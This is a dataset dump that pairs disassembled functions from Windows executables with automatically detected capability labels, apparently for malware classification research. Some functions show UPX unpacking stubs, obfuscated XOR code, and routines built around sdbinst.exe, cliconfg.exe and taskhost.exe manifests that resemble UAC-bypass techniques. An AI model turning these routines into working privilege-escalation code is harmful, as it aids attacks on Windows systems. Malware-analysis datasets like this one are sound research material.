joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001d40
Capabilities:
Write file on windows

Disassembly:
push rsi
sub rsp, 0x30
mov rsi, rcx
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], r8
mov qword [rsp + 0x58], r9
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov ecx, 2
call fcn.140002290
lea rcx, str.Mingw_w64_runtime_failure:_n
mov edx, 0x1b
mov r8d, 1
mov r9, rax
call sub.msvcrt.dll_fwrite
mov ecx, 2
call fcn.140002290
mov r8, qword [rsp + 0x28]
mov rcx, rax
mov rdx, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
int3

Function at 0x1400023b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x14000b008]
movzx edx, word [rax]
cmp edx, 0x5a4d
jne 0x14000241c
movsxd rdx, dword [rax + 0x3c]
cmp dword [rax + rdx], 0x4550
jne 0x14000241c
add rax, rdx
movzx edx, word [rax + 0x18]
cmp edx, 0x20b
jne 0x14000241c
movzx edx, word [rax + 6]
test edx, edx
je 0x14000241c
sub rcx, qword [0x14000b008]
movzx r8d, word [rax + 0x14]
add rax, r8
add rax, 0x18
jmp 0x140002408
add rax, 0x28
dec edx
je 0x14000241c
mov r8d, dword [rax + 0xc]
cmp rcx, r8
jb 0x140002400
add r8d, dword [rax + 8]
cmp rcx, r8
jae 0x140002400
jmp 0x14000241e
xor eax, eax
ret

Function at 0x140002420
Capabilities:
Parse pe header

Disassembly:
mov rcx, qword [0x14000b008]
movzx edx, word [rcx]
xor eax, eax
cmp edx, 0x5a4d
jne 0x140002455
movsxd rdx, dword [rcx + 0x3c]
cmp dword [rcx + rdx], 0x4550
jne 0x140002455
movzx r8d, word [rcx + rdx + 0x18]
cmp r8d, 0x20b
jne 0x140002455
movzx eax, word [rcx + rdx + 6]
ret

Function at 0x1400024d0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000b008]
movzx ecx, word [rax]
cmp ecx, 0x5a4d
jne 0x1400024fc
movsxd rcx, dword [rax + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400024fc
movzx ecx, word [rax + rcx + 0x18]
cmp ecx, 0x20b
je 0x1400024fe
xor eax, eax
ret

Function at 0x140b035ed
Capabilities:
Encode data using xor

Disassembly:
push 0x11aadfb6
mov qword [rsp + 8], rsi
mov esi, dword [rsp]
mov qword [rsp + rsi*2 - 0x2355bf6c], rdi
not si
movzx edi, si
jmp 0x140b1cfc2

Function at 0x140b09c07
Capabilities:
Encode data using xor

Disassembly:
dec dx
xor dx, 0x293a
neg byte [rsp + 7]
not dx
xor r10w, dx
lea rdx, [rsp + rdx + 8]
call fcn.140b3a25d
add r9, 0xc
xor ecx, ecx
test r8, r8
lea rsp, [rsp + 8]
je 0x140b09c85
mov eax, 0xefa5eebf
not al
and al, ah
push r9
lea r9, [0x140b2bae0]
movzx eax, byte [rbp + riz]
push 0x6abc070d
xor eax, ecx
push 0x6cb04fb3
and eax, 0xff
mov eax, dword [r9 + rax*4]
sar byte [rsp + 0xe], 0xe1
shr ecx, 8
xor ecx, eax
inc rbp
xor ecx, 0x100ec624
ror word [rsp + 8], 0x23
dec r8
push 0xffffffffd010352d
lea rsp, [rsp + 0x18]
jne 0x140b09c30
mov r9d, 0xada94521
lea r9, [r9 - 0x7bfe0f58]
pop r9
call fcn.140b087bd
mov ecx, 0x283a8e87
mov cx, word [rcx + rsi - 0x283a8e87]
add rsi, 2
mov edx, 0xaf24b905
sal dx, 0x48
movzx edx, word [rdi]
push 0xffffffff8b895b84
add rdi, 2
xor dx, r10w
rol dx, 1
mov byte [rsp], 0x36
shl byte [rsp + 5], 0xc3
not dx
jb 0x140b03627
Function at 0x140313960
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14031396d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14031397d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140313965
lea eax, [rcx + 1]
jmp 0x14031398b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14031399e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140313984
sub eax, 3
jb 0x1403139be
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x140313a0d
sar eax, 1
movsxd rbp, eax
jb 0x1403139f4
jmp 0x1403139cc
add ebx, ebx
jne 0x1403139ca
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1403139f4
inc ecx
add ebx, ebx
jne 0x1403139da
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1403139f4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1403139ed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1403139dc
add ecx, 2
jmp 0x1403139f9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.1403b2000
jmp 0x14031396d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0xb9400
mov dl, 0x1a
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140313a59
cmp rsi, rcx
jae 0x140313a61
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140313a40
cmp al, 0x8f
ja 0x140313a40
cmp byte [rsi - 2], 0xf
je 0x140313a46
sub al, 0xe8
cmp al, 1
ja 0x140313a2a
cmp rsi, rcx
jae 0x140313a61
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140313a30
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140313a61
lodsb al, byte [rsi]
jmp 0x140313a40
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x310000]
mov eax, dword [rdi]
or eax, eax
je 0x140313abe
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x323ef8]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x140313a6e
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140313ab8
mov qword [rbx], rax
add rbx, 8
jmp 0x140313a8e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x1af]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140313b16
sub rsp, 0xffffffffffffff80
jmp section.UPX0
Function at 0x1400c4150
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1400c415d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1400c416d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1400c4155
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x1400c4185
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1400c4172
sub eax, 3
jb 0x1400c419f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x1400c41d6
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x1400c41c6
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1400c41c4
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1400c41b3
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.1400c4112
jmp 0x1400c415d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x14a00
mov dl, 0x1a
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x1400c4222
cmp rsi, rcx
jae 0x1400c422a
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x1400c4209
cmp al, 0x8f
ja 0x1400c4209
cmp byte [rsi - 2], 0xf
je 0x1400c420f
sub al, 0xe8
cmp al, 1
ja 0x1400c41f3
cmp rsi, rcx
jae 0x1400c422a
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x1400c41f9
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1400c422a
lodsb al, byte [rsi]
jmp 0x1400c4209
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0xc2000]
mov eax, dword [rdi]
or eax, eax
je 0x1400c4287
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0xc41dc]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1400c4237
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1400c4281
mov qword [rbx], rax
add rbx, 8
jmp 0x1400c4257
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x1400c42c1
cmp al, 0xef
ja 0x1400c42b3
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1400c4293
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1400c42a2
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x22f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x1400c4315
sub rsp, 0xffffffffffffff80
jmp 0x1400014e0
Function at 0x14000201c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002066
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140002066
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], reloc.api_ms_win_crt_runtime_l1_1_0.dll__cexit
jne 0x140002066
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140002066
cmp dword [rcx + 0x84], 0xe
jbe 0x140002066
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140002068
xor al, al
add rsp, 0x28
ret
Function at 0x140001290
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
movsxd rax, dword [rcx + 0x3c]
mov r8, rcx
mov ecx, 0x8664
mov rsi, rdx
cmp word [rax + r8 + 4], cx
jne 0x1400012c6
mov ecx, dword [rax + r8 + 0x88]
jmp 0x1400012cb
mov ecx, dword [rax + r8 + 0x78]
mov r10d, ecx
xor r11d, r11d
mov ebp, dword [r10 + r8 + 0x20]
mov r14d, dword [r10 + r8 + 0x24]
add rbp, r8
mov edx, dword [r10 + r8 + 0x18]
add r14, r8
dec edx
lea r9d, [rdx + r11]
shr r9d, 1
mov eax, dword [rbp + r9*4]
add rax, r8
cmp rsi, rax
je 0x140001336
test rsi, rsi
je 0x14000132d
test rax, rax
je 0x140001327
mov rbx, rsi
sub rbx, rax
movsx ecx, byte [rbx + rax]
movsx edi, byte [rax]
inc rax
test cl, cl
je 0x14000131f
cmp cl, dil
je 0x14000130c
sub ecx, edi
js 0x14000132d
test ecx, ecx
jle 0x140001336
lea r11d, [r9 + 1]
jmp 0x140001331
lea edx, [r9 - 1]
cmp edx, r11d
jae 0x1400012e8
cmp edx, r11d
jb 0x140001357
movzx ecx, word [r14 + r9*2]
cmp ecx, dword [r10 + r8 + 0x14]
jae 0x140001357
mov eax, dword [r10 + r8 + 0x1c]
add rax, r8
mov eax, dword [rax + rcx*4]
add rax, r8
jmp 0x140001359
xor eax, eax
mov rbx, qword [rsp + 0x10]
mov rbp, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x20]
mov rdi, qword [rsp + 0x28]
pop r14
ret
Function at 0x140002518
Capabilities:
Terminate process

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
push rdi
sub rsp, 0x80
mov ebx, 1
lea rdi, [r11 - 0x40]
xor eax, eax
lea ecx, [rbx + 0x2f]
rep stosb byte [rdi], al
and qword [r11 + 0x10], rax
and dword [r11 + 8], eax
mov dword [rsp + 0x38], 0x140012
lea rax, [0x140023ed8]
mov qword [r11 - 0x48], rax
lea rax, [r11 + 0x10]
mov qword [r11 - 0x68], rax
lea r9, [r11 - 0x50]
xor r8d, r8d
xor edx, edx
mov ecx, ebx
call qword [sym.imp.ntdll.dll_LdrGetDllHandleEx]
test eax, eax
js 0x1400026cc
xor r8d, r8d
lea r9, [rsp + 0x90]
mov dl, bl
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.ntdll.dll_RtlImageDirectoryEntryToData]
test rax, rax
je 0x1400026cc
mov ecx, dword [rax + 0x20]
add rcx, qword [rsp + 0x98]
xor edi, edi
mov r9d, dword [rax + 0x18]
test r9d, r9d
je 0x1400025fa
mov edx, dword [rcx]
add rdx, qword [rsp + 0x98]
xor r8d, r8d
jmp 0x1400025cc
movsx eax, al
xor r8d, eax
rol r8d, 3
add r8d, ebx
add rdx, rbx
mov al, byte [rdx]
test al, al
jne 0x1400025bc
xor edx, edx
lea rax, [0x140023ef0]
cmp r8d, dword [rax]
je 0x1400026cc
add edx, ebx
add rax, 4
cmp edx, 3
jb 0x1400025db
add edi, ebx
add rcx, 4
cmp edi, r9d
jb 0x1400025ad
lea rax, [0x14002ca60]
mov qword [rsp + 0x58], rax
mov rax, qword [0x14002e920]
test rax, rax
je 0x140002622
mov eax, dword [rax + 8]
test eax, eax
je 0x140002622
mov dword [rsp + 0x90], eax
jmp 0x14000266e
lea rax, [rsp + 0x98]
mov qword [rsp + 0x20], rax
mov r9d, 4
lea r8, [rsp + 0x90]
lea edx, [r9 + 0x20]
or rcx, 0xffffffffffffffff
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
jns 0x140002658
mov ecx, eax
call qword [sym.imp.ntdll.dll_RtlRaiseStatus]
int3
mov rcx, qword [0x14002e920]
test rcx, rcx
je 0x14000266e
mov eax, dword [rsp + 0x90]
mov dword [rcx + 8], eax
mov ecx, dword [rsp + 0x90]
and ecx, 0x3f
mov eax, dword [rsp + 0x90]
lea rdx, [0x1400022c4]
xor rax, rdx
ror rax, cl
mov qword [rsp + 0x60], rax
lea rcx, [rsp + 0x48]
call qword [sym.imp.ntdll.dll_RtlPushFrame]
nop
mov eax, dword [0x7ffe0264]
mov dword [rsp + 0x30], eax
cdq
idiv dword [0x7ffe02c0]
mov ebx, eax
mov dword [rsp + 0x30], eax
jmp 0x1400026c1
lea rcx, [rsp + 0x48]
call qword [sym.imp.ntdll.dll_RtlPopFrame]
test ebx, ebx
jle 0x1400026db
mov ecx, dword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
mov rbx, qword [rsp + 0xa0]
add rsp, 0x80
pop rdi
ret
Function at 0x140002d88
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
xor r8d, r8d
lea rbx, [0x14002ca70]
mov r9d, r8d
mov r10, rbx
mov r11, rdx
movzx eax, word [r10]
cmp eax, ecx
je 0x140002dbd
inc r9d
add r10, 0x10
cmp r9d, 3
jb 0x140002da0
xor al, al
mov rbx, qword [rsp + 8]
ret
mov ecx, r9d
add rcx, rcx
movzx r10d, word [rbx + rcx*8 + 2]
cmp r10, 0x208
ja 0x140002db5
mov rdx, qword [rbx + rcx*8 + 8]
mov r9, r11
test r11, r11
je 0x140002dfc
test rdx, rdx
je 0x140002dfc
test r10, r10
je 0x140002dfc
sub rdx, r11
mov al, byte [rdx + r9]
mov byte [r9], al
inc r9
sub r10, 1
jne 0x140002dec
movzx r9d, word [rbx + rcx*8 + 2]
mov r10b, 0x7f
test r9, r9
je 0x140002e6f
mov dl, r8b
mov al, r8b
shr al, 2
and dl, 0x40
or dl, al
mov cl, r8b
and cl, 2
shr dl, 2
mov al, r8b
and al, 0x20
or dl, al
mov al, r8b
and al, 0x10
shr dl, 2
or dl, al
mov al, r8b
shl al, 2
or cl, al
shr dl, 1
shl cl, 2
mov al, r8b
and al, 4
or cl, al
mov al, r8b
shl cl, 2
and al, 8
or cl, al
add cl, cl
or dl, cl
sub dl, byte [r8 + r11]
mov cl, dl
xor cl, r10b
mov r10b, dl
sub cl, r8b
mov byte [r8 + r11], cl
inc r8
cmp r8, r9
jb 0x140002e0a
mov al, 1
jmp 0x140002db7

Function at 0x140002e78
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov rdi, rcx
cmp dword [rcx], 0x44504355
je 0x140002eb0
cmp dword [rcx], 0x55504355
je 0x140002eb0
cmp dword [rcx], 0x43504355
je 0x140002eb0
cmp dword [rcx], 0x4b504355
je 0x140002eb0
xor eax, eax
jmp 0x140002f03
mov ebx, dword [rcx + 0xc]
and dword [rcx + 0xc], 0
mov r8d, 0x20
mov rdx, rdi
xor ecx, ecx
call qword [sym.imp.ntdll.dll_RtlComputeCrc32]
cmp eax, ebx
je 0x140002ed0
xor eax, eax
jmp 0x140002f03
mov eax, dword [rdi + 4]
test eax, eax
je 0x140002efd
mov ecx, dword [rdi + 8]
test ecx, ecx
je 0x140002efd
cmp eax, esi
jbe 0x140002ee6
xor eax, eax
jmp 0x140002f03
cmp ecx, esi
jbe 0x140002eee
xor eax, eax
jmp 0x140002f03
cmp ecx, eax
jbe 0x140002ef6
xor eax, eax
jmp 0x140002f03
mov eax, 1
jmp 0x140002f03
xor eax, eax
jmp 0x140002f03
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x1400056cc
Capabilities:
Delete file
Get windows directory from kuser_shared_data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0xb68]
sub rsp, 0xc60
xor ebx, ebx
xor eax, eax
mov rsi, rcx
test rcx, rcx
je 0x14000583e
lea rdi, [rsp + 0x30]
mov ecx, 0x410
rep stosb byte [rdi], al
lea rcx, [rsp + 0x30]
mov edx, 0x7ffe0030
call fcn.1400017f8
lea rdx, str._syswow64_
lea rcx, [rsp + 0x30]
call fcn.14000174c
lea rdx, str.sdbinst.exe
lea rcx, [rsp + 0x30]
call fcn.14000174c
xor eax, eax
lea rdi, [rbp + 0x340]
mov r14d, 0x820
mov rdx, rsi
mov ecx, r14d
rep stosb byte [rdi], al
lea rcx, [rbp + 0x340]
call fcn.1400017f8
lea r9d, [rbx + 5]
mov dword [rsp + 0x20], 1
lea rdx, [rbp + 0x340]
lea rcx, [rsp + 0x30]
call fcn.14000ed8c
test eax, eax
je 0x14000583c
xor eax, eax
lea rdi, [rbp + 0x340]
mov ecx, r14d
mov edx, 0x7ffe0030
rep stosb byte [rdi], al
lea rcx, [rbp + 0x340]
call fcn.1400017f8
lea rdx, str._syswow64_
lea rcx, [rbp + 0x340]
call fcn.14000174c
lea rdx, str.cliconfg.exe
lea rcx, [rbp + 0x340]
call fcn.14000174c
xor edx, edx
mov dword [rsp + 0x20], 1
lea rcx, [rbp + 0x340]
lea r9d, [rbx + 5]
call fcn.14000ed8c
mov ebx, eax
lea rdi, [rbp + 0x340]
xor eax, eax
lea rdx, str._q__u
mov ecx, r14d
rep stosb byte [rdi], al
lea rcx, [rbp + 0x340]
call fcn.1400017f8
mov rdx, rsi
lea rcx, [rbp + 0x340]
call fcn.14000174c
lea rdx, [rbp + 0x340]
mov dword [rsp + 0x20], 1
lea rcx, [rsp + 0x30]
mov r9d, 5
call fcn.14000ed8c
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, ebx
lea r11, [rsp + 0xc60]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x1400072d4
Capabilities:
Copy file
Get windows directory from kuser_shared_data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r14
lea rbp, [rax - 0x768]
sub rsp, 0x850
mov r14, rcx
lea rdi, [rbp + 0x340]
xor eax, eax
mov r12d, 0x410
mov esi, edx
mov ecx, r12d
rep stosb byte [rdi], al
lea rdi, [rsp + 0x30]
mov ecx, r12d
rep stosb byte [rdi], al
mov rdi, qword [0x14002e920]
lea rcx, [rbp + 0x340]
mov ebx, 0xc0000022
lea rdx, [rdi + 0x276]
call fcn.1400017f8
lea rdx, [rdi + 0x480]
lea rcx, [rsp + 0x30]
call fcn.1400017f8
lea rdx, str.taskhost.exe
lea rcx, [rbp + 0x340]
call fcn.14000174c
lea rdx, str.taskhost.exe
lea rcx, [rsp + 0x30]
call fcn.14000174c
xor r8d, r8d
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x340]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x1400074e0
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x340]
call fcn.1400017f8
xor eax, eax
lea rdi, [rsp + 0x30]
mov ecx, r12d
mov edx, 0x7ffe0030
rep stosb byte [rdi], al
lea rcx, [rsp + 0x30]
call fcn.1400017f8
lea rdx, [0x1400253f4]
lea rcx, [rsp + 0x30]
call fcn.14000174c
mov r8d, 1
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x340]
call fcn.14000ad64
test eax, eax
je 0x1400074e0
mov edx, esi
mov rcx, r14
call fcn.140007218
test eax, eax
je 0x1400074e0
mov rdx, qword [0x14002e920]
lea rdi, [rbp + 0x340]
xor eax, eax
mov ecx, r12d
rep stosb byte [rdi], al
lea rcx, [rbp + 0x340]
add rdx, 0x480
call fcn.1400017f8
lea rdx, str.taskhost.exe
lea rcx, [rbp + 0x340]
call fcn.14000174c
lea rdx, str..manifest
lea rcx, [rbp + 0x340]
call fcn.14000174c
lea r8d, [r12 - 0x21]
mov r9d, 0x20707461
lea rdx, [0x140024390]
lea rcx, [rbp + 0x340]
call fcn.140010a7c
test eax, eax
je 0x1400074e0
xor eax, eax
lea rdi, [rsp + 0x30]
mov ecx, r12d
mov edx, 0x7ffe0030
rep stosb byte [rdi], al
lea rcx, [rsp + 0x30]
call fcn.1400017f8
mov r8d, 1
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x340]
call fcn.14000ad64
test eax, eax
je 0x1400074e0
lea rdx, [0x1400253f4]
lea rcx, [rsp + 0x30]
call fcn.14000174c
lea rdx, str.taskhost.exe
lea rcx, [rsp + 0x30]
call fcn.14000174c
xor edx, edx
mov dword [rsp + 0x20], 1
lea rcx, [rsp + 0x30]
lea r9d, [rdx + 5]
call fcn.14000ed8c
neg eax
sbb ecx, ecx
not ecx
and ebx, ecx
lea r11, [rsp + 0x850]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop r12
pop rbp
ret
Function at 0x140008b20
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x790]
sub rsp, 0x890
mov r11, rcx
lea rdi, [rbp + 0x380]
xor r15d, r15d
xor eax, eax
mov r10d, edx
mov qword [rsp + 0x60], r15
mov r12d, 0x410
mov dword [rbp + 0x7d0], r15d
mov ecx, r12d
mov dword [rbp + 0x7d8], r15d
rep stosb byte [rdi], al
mov rdi, qword [0x14002e920]
lea rcx, [rbp + 0x380]
mov r14d, 0xc0000022
lea rdx, [rdi + 0x480]
call fcn.1400017f8
cmp dword [rdi + 0x5c], 0x2580
lea rcx, [rbp + 0x380]
lea rdx, [0x140025f88]
jb 0x140008baf
lea rdx, str.MSCOREE.DLL
call fcn.14000174c
mov r8d, r10d
lea rcx, [rbp + 0x380]
mov rdx, r11
xor r9d, r9d
call fcn.14000e018
mov esi, eax
test eax, eax
je 0x140008d5e
lea rax, [rsp + 0x60]
mov r9d, 0x2000000
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SoftwareMicrosoftWindows_NTCurrentVersionKnownFunctionTableDlls
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140008d5e
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x7d8]
mov qword [rsp + 0x58], r15
xor r9d, r9d
mov qword [rsp + 0x50], r15
xor r8d, r8d
mov qword [rsp + 0x48], r15
xor edx, edx
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x7d0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x140008d5e
mov ecx, dword [rbp + 0x7d0]
test ecx, ecx
je 0x140008d5e
mov eax, dword [rbp + 0x7d8]
dec eax
cmp eax, 0x103
ja 0x140008d5e
mov ebx, r15d
test ecx, ecx
je 0x140008d5e
mov qword [rsp + 0x38], r15
lea rdi, [rsp + 0x70]
xor eax, eax
mov qword [rsp + 0x30], r15
mov rcx, r12
mov qword [rsp + 0x28], r15
rep stosb byte [rdi], al
mov rcx, qword [rsp + 0x60]
lea r9, [rsp + 0x68]
lea r8, [rsp + 0x70]
mov dword [rsp + 0x68], 0x104
mov edx, ebx
mov qword [rsp + 0x20], r15
call qword [sym.imp.ADVAPI32.dll_RegEnumValueW]
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x70]
call fcn.1400016e0
mov rcx, rax
test rax, rax
je 0x140008d5e
jmp 0x140008cdf
add rax, 2
cmp word [rax], r15w
jne 0x140008cdb
cmp word [rax - 2], 0x5c
jne 0x140008cf1
mov word [rax - 2], r15w
call fcn.14000e7ec
test eax, eax
je 0x140008d5e
inc ebx
cmp ebx, dword [rbp + 0x7d0]
jb 0x140008c7f
mov rdx, qword [0x14002e920]
lea rdi, [rsp + 0x70]
xor eax, eax
mov rcx, r12
rep stosb byte [rdi], al
lea rcx, [rsp + 0x70]
add rdx, 0x276
call fcn.1400017f8
lea rdx, str.dcomcnfg.exe
lea rcx, [rsp + 0x70]
call fcn.14000174c
xor edx, edx
mov dword [rsp + 0x20], 1
lea rcx, [rsp + 0x70]
lea r9d, [rdx + 5]
call fcn.14000ed8c
neg eax
sbb ecx, ecx
not ecx
and r14d, ecx
mov rcx, qword [rsp + 0x60]
test rcx, rcx
je 0x140008d6e
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x140008d77
call fcn.14000e0f4
lea r11, [rsp + 0x890]
mov eax, r14d
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret